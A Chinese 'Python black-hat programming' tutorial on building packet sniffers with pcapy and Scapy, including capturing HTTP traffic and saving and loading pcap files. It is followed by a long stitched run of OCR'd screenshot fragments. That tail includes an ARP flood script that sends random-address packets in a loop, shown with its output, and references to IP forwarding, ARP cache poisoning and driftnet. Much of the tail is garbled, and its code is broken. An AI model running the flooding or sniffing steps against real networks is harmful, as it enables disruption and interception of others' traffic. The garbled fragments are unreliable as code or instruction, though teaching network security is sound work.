本节主要讲了如何利用Pypcap和Scapy来编写Sniffer，完成了监听数据的功能，当然这只是 完成了前置功能，嗅探器的核心是数据分析。下一节我将从协议分析、数据内容分析、数据汇总 三个方面为大家讲解。请关注《Python 黑帽编程4.2 Sniffer之数据分析》。

第4.2节《4.2 Sniffer(嗅探器)之数据分析》已经在微信订阅号抢先发布，进入订阅号（二维码在下方），从菜单“专栏”—>”Python黑帽编程”进入即可。

 11月10号到12号，玄魂工作室 微信订阅号 举行双11 的活动，欢迎参与，届时会有价值万元的图书，教程，工具对外免费发放。

查看完整系列教程，请关注我的微信订阅号（xuanhun521，下方二维码），回复“python”。问题讨论请加qq群：Hacking （1群）：303242737   Hacking （2群）：147098303。

点击打开二维码

玄魂工作室-专注原创


PYTHON黑帽编程 4.1 SNIFFER(嗅探器)之数据捕获--补充

荒废了一个多月了，重新捡起来，手生了不少。发现在《4.1下》的文章里没有 提到pcap库，实在是不应该。

在网络数据分析的工具中，tcpdump绝对是大名鼎鼎，tcpdump底层是libpcap库，由C语言编写。 Pcapy模块则是基于libpcap的Python接口。pcapy在github上的项目地址为：https://github.com/CoreSecurity/pcapy。

下面我们来看看如何使用pcapy实现数据包的捕获。

#!/usr/bin/python

import pcapy

dev = "eth0"
filter = "tcp and port 80"


def handle_packet(hdr, data):
    print data

pcap = pcapy.open_live(dev, 1500, 0, 100)
pcap.setfilter(filter)
pcap.loop(0, handle_packet)



上面的代码很简单，首先导入pcapy模块，之后定义了两个变量，dev为要监听的网卡， filter是BPF 格式的过滤表达式，这里我们只捕获http协议的数据。 handle_packet方法是用来处理捕获的数据包的逻辑， 这里我们只是简单的打印捕获的数据，在之后的文章中，我们会继续扩展该方法，用来 做数据解析。

最后三行代码是我们使用pcapy进行数据捕获的具体应用。

pcap = pcapy.open_live(dev, 1500, 0, 100)



open_live方法第一个参数是要打开的设备，第二个参数是捕获数据包的大小， 第三个参数是否打开混杂模式，第四个参数是等待数据包的延迟时间，该方法返回一个 pcapy对象。

pcap.setfilter(filter)



调用setfilter方法，设置过滤器。

pcap.loop(0, handle_packet)



调用loop方法，开始执行数据包捕获，该方法的第一个参数为执行次数，小于或等于0为不限制， 第二个参数为数据包处理函数。

好了，就补充说明这么多，运行结果如下：

最后感谢那些不离不弃的朋友们！

 对了，上次哪个朋友帮我做的二维码，我找不到了，看到此消息请留言，谢谢！

第4.2节《4.1 Sniffer(嗅探器)之数据分析》已经在微信订阅号抢先发布，进入订阅号（二维码在下方），从菜单“精华”—>”Python黑帽编程”进入即可。

查看完整系列教程，请关注我的微信订阅号（xuanhun521，下方二维码），回复“python”。问题讨论请加qq群：Hacking （1群）：303242737   Hacking （2群）：147098303。

点击打开二维码

欢迎关注“玄魂工作室”


Python 黑帽编程 4.2 Sniffer之数据本地存储和加载


                        
                       
                        

                        
                        
                        在上一节，我们完成了编写一个简易的Sniffer的第一步——数据捕获。很多时候，我们需要将捕获的数据先保存到磁盘上，之后再使用工具或者自己编写代码来进行详细分析。本节我们在上一节的基础上来讲解保存捕获数据的方式，当然使用tcpdump或者WireShark都可以很方便的存储数据包。

4.2.1 使用pcapy保存和读取数据

前文我们使用 pcapy的open_live方法，可以获取pcapy的一个实例对象，通过该对象的dump_open方法可以获取一个dump对象，通过dump对象可以保存数据包到本地磁盘。示例如下：



上面的代码中，我们首先通过dump_open方法获取dumper对象，随后在循环捕获数据的时候调用save_packet方法，该方法中调用dump方法将数据保存到本地。运行结果如下：



下面我们看看如何从磁盘读取pcap文件。



在上面的带码中，我们使用pcapy的open_offline方法从本地打开一个pcap文件，之后就可以循环处理每一个数据包了。运行结果如下：



4.2.2 使用Scapy保存和读取数据

上一节我们讲了Scapy的基础用法，Scapy支持将捕获的数据保存成多种数据格式，比如hex，base64等，利用Scapy来保存捕获的数据到pcap文件，有两种方式，第一种为使用PcapWriter模块，例如：



初始化PcapWriter对象需要传入三个参数，要保存的文件名、是否追加数据，是否同步顺序添加。之后在packetHandler方法中，调用write方法将数据包写入文件。运行结果如下：



另外一种方式为配置sniff方法的offline参数。例如：



读取pcap文件可以使用scapy.all 模块中的rdpcap方法。例如：



如上，rdpcap方法接收一个文件路径参数，返回所有的数据包。运行结果如下：



4.2.3 小结

读取和保存数据的方法很多，这里结合本教程实例，只介绍这两种较为简单的方法。



查看更多Python黑客编程及安全类文章，请关注玄魂工作室微信订阅号（xuanhun521）。
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Nanespaces are one honking great idea -- let's do more of those!
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Sniff packets
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count: nusber of packets to capture. 0 means infinity
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T further action may be done
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1 #Socket client example in python
import socket  #for sockets

#create an AF_INET, STREAN socket (TCP)
s = socket. socket(socket. AF_INET, socket.SOCK_STREAM

print 'socket Created
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Dowloading/ unpacking github3. py.
Downloading github. py-0. 9. 5- py2. py3-none- any. whil (109k):
Downloading/ unpacking uritenplate. py>=0. 2.0 ( from github3. py)
Downloading uritenplate. py-0.3.0. tar. gz
Running setup. py (path: / tnp/ pip- build- LRgVN/ uritenplar
for package uritemplate. py

109KB downloaded

py/setup. py) egg. infol

Requirement slready satisfied (use --upgrade to upgrade): . requests>=2.0 in /usr/
"Uib/ python2. 7/ dist- packages ( from github3. py)
Installing collacted packages: github3, py, uritemplate. py

Running setup. py install for uritemplate. py.

Successfully installed github3.py uritenplate. py
Cleaning up.
ali: ~/ pyth

nmap-0.6.08 |
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Source Port: 48618 (48618)
Destination Port: http (80)
[Stream index: 8]

[TCP Segment Len
sequence numbe 0 Y (relative sequence number)
T

Acknowledgment nQ [
Header Length bytes

»#
Window size va: 29200

Tralrulated window cize: 2020071
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wrpcap : Write a List of packats to a pcap file
>>> cont
ASN1_default
AS_ resolver
BTsocket
L2Uisten

odoc = <ASN1Codec BER[1]>

<Bluetoothl 2CAPSocke

<scapy. as._ resolvers. AS. resolver_nulti instance at 0x7f7059¢7ddd0>
Tead/write packets on a connected L2CAP
<LaListenSocket: read packets at layer 2 using Linux PF_PACKET

L2socket = <L2Socket: read/writa packets at layer 2 using Linux PFLPACKET

L3socket
auto_ fragnent = 1
checkIPID = 0
checkIPaddr
checkIPsrc = 1
check_TCPerror_seqack = 0
<Olor. thene = <DafaultThene>
comnands
debug_dissactor = 0

1

debug_natch = 0
default_12 = <class ' scapy. packet. Raw >
amph = <Enphasize [1>

ethertypes = </etc/ othertypes/ >
‘except._filter = '
extensions_paths
nistfile = '/ root/. scapy.history’
iface = " otho’

<L3PacketSocket: read/write packets at layer 3 using Linux PF_P...

arpcachepoison : Poison target's cache with (your MAC, victin's ...
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F00tGal i ~# wget hitp: // xasl. org/pages/ python- nmap-0. 6.0. tar. gz
--2016-05-04-12:43:00-- http://xasL. org/ pages/ python- nmop-0. 6. 0. tar. gz
E&MITEN xool.org (xasl.org)... 194.36.166.10

E&E# xacl. org (xeel.or) |194.36.166. 10]:80... B3,

BRH HITP WK, E&S@EM. .. 200 0K

KIE : 41415 (40K)' [application’ x- gzip]

E&RFTE: “python-nnap-0.6.0. tar. g2*

python- nmap- 0. 6. 0. t 100% ] 40.44K 22.7KB/s AR 1.8s

2016-05-04 12:43:14 (22.7 KB/s) - BT “python-nmap-0.6.0. ter. gz* [41415/41415)
1

root@ali: ~#
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romisc

broadcast 192.168.1.255

:feGe:98a6 prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:60:98:26 txqueuelen 1000 (Ethernet)

RX packets 10413 bytes 1786650 (1.7 MiB)

RX errors 0 dropped 6 overruns 6 frame @

TX packets 69 bytes 7742 (7.5 KiB)

TX errors @ dropped © overruns © carrier 8 collisions 6

l0: flags=73<UP, LOOPBACK,RUNNING> mtu 65536
inet 127.6.6.1 netmask 255.0.6.0
inet6 ::1 prefixlen 128 scopeid 6x10<host>
oop txqueuelen 1 (Local Loopback)
RX packets 26 bytes 1538 (1.5 KiB)
RX errors 6 dropped 8 overruns 0 frame 0
TX packets 26 bytes 1538 (1.5 KiB)
TX errors @ dropped © overruns O carrier 8 collisions 6
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iy s S

>>> 1s().
2R : aRp

ASN1_Packet : None.
B00TP. B00TP

CookedLinux : cooked linux

DHP DHCP options

DHCPG DHCPV6 Generic Message)

DHCP6OptAuth : DHCP6 Option - Authentication
DHCPGOptBCHCSDomains : DHCPG Option - BCMCS Domain Name List
DHCPGOPtBCHCSServers : DHCP6 Option - BCHCS Addresses List
DHCP60PtCLientFQDN : DHCPG Option - Client FQDN
DHCP60ptClientId : DHCP6 Client Identifier Option
DHCP6OptDNSDomains : DHCPG Option - Domain Search List option

DHCPGOptDNSServers : DHCP6 Option - DNS Recursive Name Server
DHCP60ptElapsedTine : DHCP6 Elapsed Time Option
DHCP60ptGeoCont :

DHCP6Opt IAAddress : DHCP6 TA Address Option (IA_TA or IA_NA suboption)
DHCP6OptIAPrefix : DHCP6 Option - IA_PD Prefix option

DHCP6OPtIA_NA : DHCP6 Identity Association for Non-temporary Addresses Optic
DHCP6OPtIA_PD : DHCP6 Option - Identity Association for Prefix Delegation
DHCP6OPtIA_TA : DHCP6 Identity Association for Temporary Addresses Option
DHCP6OptIfaceld : DHCP Interface-Id Option

D e Ot Tnfolaf ok Tiie PP T e g e
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pef printMax(a, b)

ifa>b
print a, 'is maximum
else
print b, 'is maximum

printMax(3, 4) # directly give literal values

printhax(x, y)

WikizsE

4 is maximum
7 is maximum
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New Virtual Machine Wizard

vmware
Workstation

Welcome to the New Virtual
Machine Wizard

What type of configuration do you want?

Typical(recommended)

Create a Workstaton 10.0 virtual machine
ina few easy steps,

® Custom (advanced)

Create a virtual machine with advanced
options, such 25 a SCSI controller type,
virtualdisk type and compatbiity with
older VMare products.

Back Next > Concel
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root@kali:~/python# python 1felese.py
ERA— T BR:0

=0
root@kali:~/python# python ifelese.py
EiA— BB 166
66 >0
root@kali:~/python# python ifelese.py
ERA— BB :-1
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['defenestrate', 'cat', 'window', 'defenestrate']
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$0cketSOCKSTREAM | STFTCPSIsocke il
soketSOCKOGRAM  EFUDPEIIERstsocketl

BHERET. BEOEETRSICMP. GMPFRGIT, FSOCK RAWTTLL JA
socketSOCK RAW. SOCK RAWBTTVILIEHROPVAIRR, MO, IRBHERT. TOLEIP HOUNCIES
FRMGA PP

SocketSOCK SEQPACKET  FTREVEABIEL RS
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# == COCINgEUET=8 ==
print 0.0

print -777

print -5.555567119
print 96e3 * 1.0

print -1,609E-19

WikizsE

0.0

-777.0
-5.555567119
26600, 0
-1.609e-19
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[>>> 1s( 1CP)

sport : ShortEnunField
dport ShortEnunField
seq + IntField

ack IntField
dataofs BitField
rosarved : BitField

flags FlagsField
window ShortField
chksun XshortField
urgptr ShortField
options  : TCPOptionsField
>>> 1sc()

arpcachepoison

arping

bind_layers

corrupt_bits
corrupt_bytes

9
defrag

defragnent
dyndns_add

= (20
(80)
=(0)
=(0)
)
= (0)
=(2)
= (8192)
(None)
(0)
=

Poison target' s cache with (your MAC, victin's IP) couple
Send ARP who-has requests to determine which hosts are up
Bind 2 layers on some specific fields' values

Flip a given percentage or number of bits from a string

* Corrupt a given percentage or number of bytes from a strin|

i defrag(plist) -> ([not fragnented], [defragnented],
defrag(plist) -> plist defragnented as much as possible
Send a DNS add message to a nameserver for "name” to have
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#!/usr/bin/pyth

fimpor . mytodule

myModule. sayhi()
print 'version', myModule.version

WikizsE

Hi, this is mymodule speaking
version 0.1
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tmux totemtotem common totem plugins traceroute tracker tracker-extract
tracker-gui tracker-niner-fs tshark tzdata ucf udev udisks2 udptunnel unar
uni cornscan upover upx-ucl usb- modesw tch usb- nodesw tch-data uti l-1i nux
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whiptail vifitap wine w ne64 w nexe w rel ess-tools w reshark

wi reshark- common w reshark-gt wpscan x11-apps x11-common x11-xkb-uti|s
x11-xserver-util's x11proto-core-dev x11proto-i nput-dev xbrlapi xkb-data xpdf
Xprobe Xserver-Conmion xserver-xephyr XServer-xorg Xserver-xorg-core
Xserver-xorg-i nput-al | Xserver-Xorg-input-evdev. xserver-xorg-i nput-mouse
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>>> chr(76)
iz
>>> ord('L')
76
>>>
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#!/usr/bin/p
import sys
from scapy.all import *
import time

y th

iface="etho"
if len(sys.argv)>=2
iface=sys.argy[1]
while(1)
packet= Ether(src=RandHAC("*: *: *: i % *")
dst=RandHAC("*: *: *:%: % *")) / \
TP(sre=RandIP("*. %, *. *")
dst=RandIP("*. *. *.*")) / \
CHP()

sendp(packet, iface=iface, loop=0)
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fron scapy.all import *
from scapy.utils inport PcapWriter

def packetHandler (pkt):
pktdump.urite(pkt)

pktdump = Pcaphiniter(“ssss_pcap”, append=True, sync=Truc)
sniff(filter="tcp and port 80°,prn-packetHandler,iface-'c R AMTEE
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Select a language

Choose the language to be used for the installation process. The selected language will iso be the
Gefault language fo the instatied system. " T

Language:

Chinese (iraditional) - ()

croatian - Hvatsid H
croch - Costing
Danish - Dansk
outeh - Nederlands
Dzongkha - Em
English - Engish
Esperanto - Esperanto
Estonian - Eesti
Finnish - suomi
French - Francais
Gaician - Galego
Georgian R
German - Deutsch

Sereenshot Gosack | [ coftinue
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[ef func(a, b=5, c=10)
print 'a is', a, 'and b is', b, 'and c is', c

func(s, 7)
func(2s, c=24)
func(c=50, a=100)

WikizsE

ais @ and b is 7 and c is 10
ais 25 and b is 5 and c is 24
a is 100 and b is 5 and c is 50
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WikizsE

File "/root/python/test.py", line 4
if char 1='c'

IndentationError: expected an indented

block
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testpy x

o [oport socket

. ® print 'hello world
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New Virtual Machine Wizard

Select a Disk Type
What kind of disk do you want o create?

Vitual disk type
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ik ¥ Python Consale App
< =n
4Local

» _builtins_: {'ArithmeticError':

_name__; *_main_'
__file_: '/root/python/test py'
__doc__: None

__package__: None

PRRETY
<module>

B
B All Exceptions
[T —
testpy 3

e =

<type 'exce.

exenTRyum
testpy 1
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#1/usr/bin/python
from scapy.all import *

i=5
while(i)
print RandAC()
print RandIP()

i |

WikizsE

WARNING: No route found for IPv6 dest
56:eb:ed;e5:08: 2
35.77.53. 134
5c:80: 7 b4 :9a: 0f
118,107,147, 131
c9:d6:baz9c:89: dd
78.220.125. 143
52:75:bf0f:9b: 13
40.177.45.36
fe:20:F£:91:9b:99
185.90. 232,217
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/python# python socket_server.py
sSocket created

Socket bind complete

Socket now listening
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v Transmission Control Protocol, Src Port: 48618 (48618),
Source Port: 48618 (48618)
Destination Port: http (80)
[Stream index: 8]
[TCP Segment Len: 0]
Sequence number? elative sequence number)
Acknowledgment no eé (relative ack number)
Header Length: 20 byte

» Flags: 0xO:

Window size Vi 29
[Ccalculated window size: 29312]
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Time
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71
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101
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164054154
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340731830

Source

223.6.

192

102
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110
19
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Destation
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223
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192
102
1s

5.248.220
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1681106
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Protocol_Lengh Info

e GENEtp = 40116 (o1
Tcp 54 40118 - hetp (20
Tcr 54 55898 ~ heeps. (A
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et printmax(x, y)
"!'Prints the maximum of two numbers

The two values must be integers

X = int(x) # convert to integers, if possible
y = int(y)
if x>y
print x, 'is maximum
e

WikizsE

5 is maximum
Prints the maximum of two numbers

The two values must be integers
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rootekalii-# driftnet -i ethd

driftnet ] L
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def func()
global x

print 'x is', x
x=2
print 'Changed local x to', xg

X = 50
func()
print 'value of x is', x

WikizsE

x is 50
Changed local x to 2
value of x is 2
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rootekalii~/python# python exception _raise.py.
Enter something --> 2

ShortInputException: The input was of length 1,
3

rootekali:~/python#

was expecting at least|
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def packetHandler(pkt):
srespkt[1P).src

srcPort=pkt[1F]. dst
if sre=='192.168.1.20°
prant "ok

sniffffilter="tcp and port 80',prn=packetHandler, iface="etho'f]]
wiise

ok
ok
ok
ok
ok
%
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sniff(filter="tcp and port

Jiface=

Soffline="t
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python_linh.py: arpWatcherpy X class_simple py
#1/usr/bin/pyth

from scapy import sniff,ARP
from signal import signal,SIGINT
import sys

def watchArp(pkg)
pass

sniff(prn=watchArp, filter="arp", iface="etho",store=0)
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WikizsE

dict['Age']: Traceback (most recent call last)

File "/root/python/dictTest.py", line 27, in <module>
print "dict['Age']: ", dict['Age'];

TypeError: 'type' object has no attribute

__getitem !
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test.py x

ding:utf-8 -*-

longInt = 9299 ** &
print longInt

WikizsE
9992002799440069994400279992000 1
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Trom decimal import ©

dec=Decimal('.1'
print dec

print Decimal(.1)
print dec +Decinall]

WikizsE

0.1
©.1000000000000000055511151231257827021181583404541015625
©.2000000000000000055511151231
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from scapy.all import *

packets = rdpcap(’ssss.pcap’)
for packet in packets:

print packet R ZATHE
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eth@: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1560
inet 192.168.1.104 netmask 255.255.255.0 broadcast 192.168.1.255
inet6 fe80::20c:29f:fe6e:98a6 prefixlen 64 scopeid 0x20<link>
ether 00:6¢:29:6e:98:a6 txqueuelen 1080 (Ethernet)

RX packets 1432 bytes 109737 (167.1 KiB)

RX-errors 6 dropped 0 overruns 6 frame 0

TX packets 29 bytes 2606 (2.5 KiB)

TX errors @ dropped  overruns @ carrier 8 collisions 0

lo: flags=73<UP, LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.6.6.0
inet6 prefixlen 128 scopeid 8x16<host>
loop txqueuelen 1 (Local Loopback)
RX packets 22 bytes 1298 (1.2 KiB)
RX errors 0 dropped  overruns @ frame 0
TX packets 22 bytes 1298 (1.2 KiB)
TX errors @ dropped O overruns O carrier 8 collisions 0
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lvmu-\ -# apt-get install libpcap-dev

EERMEEONR ... R

G 9 R 00 4 X

EGRRASES ... R

FAAAORENERNAARERRET ;
castxnl creepy dff geoxml girl.2-clutter-gst-2.0 girl.2-gkbd-3.0
girl.2-packagekitglib-1.8 girl.2-xki-1. gtk2-engines gucharmap inguma
Uibapache2-nod-phpS Uibasni-8-heindal 1ibavcodec-ffnpegs6
Uibavdevice-ffpeg36 1ibavfilter-ffapeg5 1ibavfornat-ffupeqss
Uibavresample-ffapeg2 ibavutil-ffnpegsd 1ibbasicusageenvironmentd
11bbind9-98 1ibboost-pythonl.58.8 libcanel-1.2-54 libclutter-gst-2.8-0
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def someFunction()
pass
print someFunction()

WikizsE

None
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stringStest = 'abcdefghijk’

for char in stringstest[1:]
if char 1='c'
print 'not c'
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>>> Ether().show()

#4#] Ethernet 1444

WARNING: Mac address to reach destination not found. Using broadcast.
dst T fr: It
sre: 0:00:00:00:00
typs 0x900

oy ]
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print bar+1o

print
print

WikizsE

False

10

False

]

'%s' %bar
'%d' %bar





OEBPS/Images/86c1825c177bb16faf729104de586fc8.jpg
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rootEkali:~/python/ARP# python arpFlood.py ethd
WARNING: No route found for IPv6 destination :: (no default route?)

Sent 1 packets.
Sent 1 packets.
Sent 1 packets.
Sent 1 packets.
Sent 1 packets.
Sent 1 packets.

Sent 1 packets.
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22> a.sprintf("Ethenet source is 3Ether.sxck and TP proto is XIP.protet)
“Ethemnet. source is 00:00:00:00:00:00 and 1P proto is TCP"
22> a.sprintf(*Sota1.addriX or A1P.gabuzoseu")

The exact format of a directive is:
Hlsatl(e] iayer(:nb). el

layer
The name of the layer from which you want to take the field. If it is not present,
the current layer is used.

field
‘The name of the field you want the value of.

b
When there are many layers with the same name—for instance, for an IP over IP
packet—nb is used to reach the one of your choice.

xis a flag. When present, it means you want to work on the raw value of the
field. For example, a TCP flags field can be represented as the human readable
string SA to indicate the flags SYN and ACK are set. Its raw value is the number
18

fmt is used to give formarting directives 3 la print#( ) to be applied to the value
of the feld.
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(2, 'is a prime number')
(3, 'is a prime number')
(4, 'equals', 2, '*', 2)
(5, 'is a prime number')
(6, 'equals', 2, '*', 3)
(7, 'is a prime number')
(8, 'equals', 2, '*', 4)
(9, 'equals', 3, '*', 3)
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set(['a’, 1,
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’ GNU GRUB  2.02"beta2-33 R
S

iali GNU/Liny
‘Advanced opt ions\fOPIKaLisBNUALinUX

e

Use the 1 and | keus to select uhich entry is highlighted.

Press enter to boot the selected 0, ‘e’ to edit the commands
before booting or 'c' for a command-line.
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Source: 192.168.1.38 (192.168.1.38)
Destination: www.cnblogs.com (42.121.252.58)
[Source GeoIP: Unknown]
> [Destination GeoIP: AS37963 Hangzhou Alibaba Advertising Co.,Ltd., China.
+ Transmission Control Protocol, Src Port: 47818 (47618), DSt Port: hitp (80)

Destination Port: http (80)

(relative sequence nunber)
369 (relative sequence number)]
1 (relative ack number)

0 50 f9 cf 54 ga ce 07 bo fa 50 18
€2 Oc 00 00 47 45 54 20 2f 78 75 61 6e 68
75 6e 20 48 54 54 50 2f 31 2e 31 0d Ga 48 6f 73 un HTTP/ 1.1..Hos
74 3a 20 77 77 77 2¢ 63 e 62 6C 6f 67 73 26 63  t: www.C Nblogs.c
6f 64 0d 0a 55 73 65 72 2d 41 67 65 6¢ 74 3a 20 om..User -Agent
R B B e e S e i e B
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root@kald:~/python/ARRA SyscrlmEBERIPREEIES
net.ipvd.ip forward = 1
root@kali:~/python/ARP#
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try
te an AF_INET, STREAM ToR)

s = socket. socket(socket. AF_INET, socket.SOCK_STREA
except socket.error, msg

print 'Failed to create socket. Error code: ' + str

sys.exit();

print 'socket Created

host = ', zhihu. com
try
remote_ip = socket. gethostbyname( host )
i

Socket Created
Ip address of www.zhihu.com is 60,174,156, 100
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USRS Py RO

def func(x)
print 'x is', x
x=2
print 'Changed local x to', x

X = 50
func(x)
print 'x is still', x

WikizsE

x is 50
Changed local x to 2
x is still 50
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New Virtual Machine Wizard Lt

Select a Disk
Wihich sk do you want to use?

reaie a new vitual ikl

A virtual disk s composed of one or more fles on the host fie system, uhich
il appear 35 3 singe hard disk to the guest operating system. Virtual disks.
can easlly be copied or moved on the same host or between hosts.

Use an existing virtualdisk.
Choose this option to reuse a previousy configured disk.

Use a physical disk (for advanced users)
Choose this option to give the virtual machine diect access to alocal hard
dik.
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testpy .

import socket

print 'hello world'
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coding:utf-8 -*-

Wit
(54.375+1])
(1.232-45+6.7e+89])
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root@kali:~# pip install pypcap
Collecting pypcap
Using cached pypcap-1.1.5.tar.gz
Building wheels for collected packages: pypcap
~ Running setup.py bdist wheel for pypcap ... done

Stored in directory: /root/.cache/pip/wheels/0f/f9/bf/bfe53
58e71212d56dd6fe7e36ffIf3f

Successfully built pypcap
Installing collected packages: pypcap
Successfully installed pypcap-1.1.5
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1 #!/usr/bin/python

Jif _name__ __main_|
print 'This program is being run by itself
else
print ' am being imported from another module

WikizsE

This program is being run by itself
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WikizsE

File "/root/python/exceptiont.py”, line 1
Print 'hello

syntaxError: invalid syntax
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WikizsE

<type 'set'>
<type 'frozenset'>
set([1, 2, 3, 4, 5])
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#1/usr/bin/python

class Person
pass # An empty block

p = Person()
print p

WikizsE

<_main__.Person instance at 0x7f7f4b8c27ae>
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Traceback (most recent call last)
File "/root/python/exceptiont.py”, line 2, in <module>
open('abe. txt', 'r!
0Error: [Errno 2] No such file or directory: 'abc.txt
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/python# python_socket_server. pyl

# telnet localhost 5000
Trying ::1...

Trying 127.0.0.1....

Connected to localhost

Socket created
Socket bind conplete
Socket now listening

Escape character is '*]
Connected with 127.0.9.1:32900 1
Connected with 127.0.0.1:32010 oK. ... 1L

Connected with 127.0.0.1:32914 Connection closed by foreign host.

# telnet localhost 5000
Trying ::1

Trying 127.6.0.1.

Connected to localhost

Escape character 1s ‘2]’

u

oK. 11

Connection closed by foreign host.
LS
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>>> hex(255)
"Oxff

>>> hex(23098231)
'0x1607377"

>>> oct (255)
10377

>>>
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def watcharp(pkt)
Af PKE[ARP] . 0p == 2:
print pKE[ARP).hwsrc + " " + pKE[ARP].psrc
Af ip_mac.get(pkE[ARP].psrc) == Nons
print "Found new device " + \
PKE[ARP] hwsrc + * "+ \
PRE[ARP] .psre
1p_rac(pkt[ARP] .psrc] = pkE[ARP].husrc
©1if ip_mac. get(pkE[ARF].psrc) and ip_nac[pkE[ARP].psre]
print pkE[ARP].hwsre + \
" has got new ip " +\
PKE[ARP] .psre + \
" (o1d " + ip_mac[pke[ARP].psre] + )"

PKE[ARP] . hwsrc

1p_nac(pkt[ARP] .psrc]

PKE[ARP] . hwsre
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tup1[e]: physics
tup2[1:5]: (2, 3, 4, 5)
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New Virtual Machine Wizard

Processor Configuration
Specify the number of processors for this virtual machine.
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Help on function sniff in module scapy.sendrecv:

-sniff(count=0, store=1, offlinesNone, prn=None, lfilter=None, L2socket=None, tin
eout=None, opened_socket=None, stop_filter=None, *arg, **karg)

Sniff packets

sniff(fcount=0,] [prn=None,] [store=1,] [offline=None,] [lfilter=None,] + L2
ListenSocket args) -> list of packets

count: number of packets to capture. @ means infinity
store: wether to store sniffed packets or discard them
prn: function to apply to each packet. If something is returned,
it s displayed. Ex
ex: prn = lanbda x: x.summary()
Ufilter: python function applied to each packet to determine
if further action may be done
ex: Ufilter = lanbda x: x.haslayer (Padding)
offline: pcap file to read packets from, instead of sniffing them
tineout: stop sniffing after a given tine (default: None)
L2socket: use the provided L2socket
opened socket: provide an object ready to use .recv() on
stop_filter: python function applied to each packet to determine
if we have to stop the capture after this packet
ex: stop_filter = lanbda x: x.haslayer(TCP)
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['_builtins_ ', '__doc_' = name__', '__package ', 'a', 'sys']
['“builtins_', '_doc_', '_file ', '_name_', '_package_', 'sys']
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OO L /e P P e
Requirement already satisfied (use --upgrade to upgrade): scapy in /usr/lib/pyth|
on2. 7/ dist- packages.
Cleaning up.

iz /home/ pycharm#
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1o #%E_nozero_()
class C:pass

22 print bool(c)

WikizsE

True
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root@kali:~/F8# arp -a
gateway (192.168.1.1) at 88:25:93:02:97:dd [ether] on ethd
? (192.168.1.110) at 40:16 9:65 [ether] on ethd
7 (192.168.1.29) at 54:ee:75 48 [ether] on ethd
F- 3
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[Errno 2] No such file or directory: 'abc. txt'
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i
(12, 34.55, 'abc’, 'xyz')
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iti2siE E -~

irefox/45.0
Accept: text/css, */*;
Accept-Language: en-US,en;q=0,5
Accept-Encoding: gzip, deflate
Referer: http://tools.kali.org/
Connection: keep-alive

V009) OOV D=0 0n 0| 90 POy 0001000)

JQ@sCET /wp-content/themes/ Impreza/css/responsive.css?ver=3.7.1 HTT
P/1.1

Host: tools.kali.org

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45,0) Gecko/20100101 F
irefox/45.0

Accept: text/css,*/*; 1

et i e e

Accept-Encoding: gzip, deflate

Rttt it 1jteois ke tarar R KATHEE
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root@kali:~/T M# ifconfig
ethd: flags=4163<UP, BROADCAST, RUNNING, MULTICAST> mtu 1560
inet 192.168.1.102 netmask 255.255.255.0 broadcast 192.168.1.255
inet6 fe8o::20c:20ff:fe6e:98a6 prefixlen 64 scopeid 6x20<link>
ether 00:0c:29:6e:98:a6 txqueuelen 1000 (Ethernet)
RX packets 60163 bytes 43699345 (41.6 MiB)
RX errors 0 dropped 6 overruns 8 frame 0
TX packets 12460 bytes 992600 (969.3 KiB)
TX errors 0 dropped 6 overruns @ carrier 8 collisions 8
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ot@kali: ~/python-nmap-0.6

running build
running build.py
creating build
creating build/lib, Linux-x86_64-2.7
creating build/Uib. Linux- x86_64- 2. 7/nmap.

copying nmap/__init__. py -> build/Lib. Linux- x86_64-2. 7/ nmap

copying nmap/ test_nmap. py -> build/Lib. Linux- xB6_64-2.7/nmap

copying nmap/nnap. py -> build/1ib. inux- x86_64-2. 7/nmap

running install_lib

creating /usr/local/Lib/ python2, 7/ dist- packages/nmap

copying build/1ib. Linux- x86_64- 2. 7/nnap/ __init__.py -> /usr/local/ib/ python2. 7/
dist- packages/ nnap

copying build/Uib. Linux- x86.64- 2. 7/nmap/ test_nmap. py -> /usr/local/ b/ python2. 7|
/dist- packages/ nnap

copying build/Lib. 1inux- x86_64- 2. 7/nmap/nmap. py -> /usr/local/Lib/python2. 7/ dist
packages/nmap.

byte- compiling /usr/local/1ib/ python2. 7/ dist- packages/nmap/ __init__.py to __init
_.pyc

yte-compiling /usr/local/Lib/python2. 7/ dist- packages/ nmap/ test_nmap. py to test_
mmap. pyc

byte- compiling /usr/local/1ib/ python2. 7/ dist- packages/ nmap/ nnap. py to nmap. pyc
running install_egg_info

Writing /usr/local/1ib/python2. 7/ dist- packages/ python_nmap-0. 6. 0. gg- info
root@al i: ~/ python- nmap- 0. 6. 0
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s3

Frozenset("xuanhur

print type(st)
print type(s3)
10 print s2

G oo
12 for item in s3
1 print item

WikizsE

Scoxw
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var1[o]: H
var2[1:5]: ytho
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value available at index 2
1097
New value available at index 2
2001
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New Virtual Machine Wizard Lt

Memory for the Virtual Machine
How much memory would you ke to use for this vitual machine?

Specify the amount of memory allocated to this virtualmachine. The memory size:
mustbe a mitple of 4 MB.

4GB Memory for this virtual machine: 048 || MB
e

=

e
268 OO SE04MB

=

sive | o @ Rt
= e

=

e | @ 0t
= o

=

=

Es

[Cree ] <Back ) [ Next> ] [ Cancel
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Code editing. 5.~
Redefined. ==
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/python/ARP# python arphatcher.py
WARNING: No route found for IPv6 destination
Found new device 00:1e:67:3a:ad:d3 192.168.1.188
Found new device 88:25:93:02:97:dd 192.168.1.1
00:0c:29:6e:98:a6 192.168.1.102
Found new device 00:0¢:20:
3c:97:0e:el:43:ed 192, 161

(no default route?)

192.168.1.102

Found new device 3c:97 192.168.1.24
Found new device 3c:15. 192.168.1.13
Found new device 40:16: 192.168.1.110

192.168.1.161

;ound new device 00:0c
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rootakali:~/python# python socket_server.py
e Socket created

Socket bind complete

Socket now listening

Connected with 127.6.0.1:57768

RPEE) REE) FHV) 1291 AEH)
root@kali:~# telnet localhost 8888
Trying ::

Trying 127.6.6.1
Connected to localhost

Escape character is '~]
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)

~# apt-get install open-vm-tools-desktop fusell
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root@ali: ~/python-nmap-0. 6. 0# easy_install pyPdf
Searching for pyPdf

Bost match: pyPdf 1.13

Adding pyPaf 1.13 to easy- install. pth file

Using /usr/Lib/ pynodules/ python2. 7
Processing depandancies for pyPdf

o0t @ali: ~/python-
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testiReturn = testl(
i

to do stuff

process except

to return in except

to return in finally
testiReturn : finally
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Stable Release (2.0.4) «

Old Stable Release (1.12.12) « Ju

Development Release (2.1.1) «
